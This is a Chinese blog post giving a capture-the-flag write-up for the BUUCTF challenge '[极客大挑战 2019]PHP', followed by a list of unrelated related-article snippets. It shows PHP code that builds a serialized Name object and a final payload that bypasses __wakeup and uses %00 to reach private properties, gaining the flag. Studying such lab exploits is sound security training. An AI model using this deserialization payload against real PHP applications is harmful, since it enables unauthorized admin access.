[极客大挑战 2019]PHP

ops/2024/10/18 9:22:33/

buuctf——[极客大挑战 2019]PHP

1.信息收集获取源代码/www.zip
在这里插入图片描述
2.放在phpstudy进行调试,直接输入任意select的值index是没有回显的,直接代码审计
通过index.php可以看到我们输入的参数select的值通过反序列化传入到了class.php

在这里插入图片描述
3.通过class.php我们可以知道, u s e r n a m e 和 username和 usernamepassword是两个私有属性,无法直接修改,依据题意只有使用魔术函数__construct()的方法触发修改用户名和密码
在这里插入图片描述

4.理清题意后直接构造exp

<?phpclass Name{private $username = 'admin';private $password = '100';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}
$Name = new Name('admin','100');
$payload = serialize($Name);
var_dump($payload);
?>

在这里插入图片描述
5.通过php访问获取到payload
http://127.0.0.1/eazyun/payload.php
在这里插入图片描述
6.因为题目中有__wakeup方法,需要通过改变属性值来绕过
通过将2的值变成3绕过sleep函数

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

在这里插入图片描述
7.因为username和password是私有属性所以需要使用%00进行绕过
因为name是私有属性,故需要加%00进行绕过

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
在这里插入图片描述
8.最终构造出exp,成功获取flag
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
在这里插入图片描述
flag{e78d7aed-4e99-446b-9f23-273c92a9bb6f}
在这里插入图片描述


http://www.ppmy.cn/ops/6527.html

相关文章

java.lang.OutOfMemoryError: WrappedJavaFileObject --idea启动项目内存溢出解决

java.lang.OutOfMemoryError 解决方案 现象 项目开发时&#xff0c;启动idea&#xff0c;报内存溢出错误&#xff0c;如下&#xff1a; java: java.lang.OutOfMemoryError: WrappedJavaFileObject.....解决 通过 调整idea 的 配置参数 来调整 jvm 大小解决。 -Xmx8192m-Xm…

2024年阿里云4核8G配置云服务器价格低性能高!

阿里云4核8G服务器租用优惠价格700元1年&#xff0c;配置为ECS通用算力型u1实例&#xff08;ecs.u1-c1m2.xlarge&#xff09;4核8G配置、1M到3M带宽可选、ESSD Entry系统盘20G到40G可选&#xff0c;CPU采用Intel(R) Xeon(R) Platinum处理器&#xff0c;阿里云优惠 aliyunfuwuqi…

Python基础:【练手小实验系列】个人财务管理系统

文章目录 题目功能解析参考代码题目 设计并实现一个简易的个人财务管理系统,功能如下: 1.收入记录:允许用户输入收入的金额和来源,记录当前总收入; 2.支出记录:允许用户输入支出的金额和用途,记录当前总支出; 3.财务汇总:显示目前的总收入、总支出和净余额; 4.条件查…

美团财务科技后端一面:如何保证数据一致性?延时双删第二次失败如何解决?

更多大厂面试内容可见 -> http://11come.cn 美团财务科技后端一面&#xff1a;项目内容拷打 美团财务科技后端一面&#xff1a;项目相关面试题&#xff0c;主要包含 Zset、延时双删失败重试、热点数据解决、ThreadLocal 这几个方面相关的内容 由于前几个问题是对个人项目的…

springboot日志使用 SLF4J+Logback 实现(springboot默认的日志实现),日志打印到控制台及日志输出到指定文件

还是直接上代码 Slf4j 这玩意 默认支持 不用引入 yml 配置文件 # 日志配置 如果配置了xml 这个就不生效了 xml优先级最高 #logging: # file: # path: /home/logs # 日志目录地址 # name: /home/logs/skeleton.log # max-size: 1KB # 设置日志大小的最大大小 1…

YoLo World代码块解读

MaxSigmoidAttnBlock 分别处理图像与文本特征&#xff0c;计算这两者的相关性&#xff0c;得到整个句子所有word中最大的相关性数值作为attention作用于图像特征中。 class MaxSigmoidAttnBlock(nn.Module):"""Max Sigmoid attention block."""…

从小到大输出四个整数(C语言)

一、N-S流程图&#xff1b; 二、运行结果&#xff1b; 三、源代码&#xff1b; # define _CRT_SECURE_NO_WARNINGS # include <stdio.h>int main() {//初始化变量值&#xff1b;int a, b, c, d;int t 0;//提示用户&#xff1b;printf("请输入四个整数a b c d&…

Flink KafkaSink分区配置的不同版本对比

Flink KafkaSink分区配置的不同版本对比 在不同版本的Flink中&#xff0c;KafkaSink 分区默认配置方式可能会有一些变化。以下是摘自Flink官方文档不同版本的原文&#xff1a; 1. Flink版本&#xff1a;1.12~1.19 Sink 分区 # 配置项 sink.partitioner 指定了从 Flink 分区到 …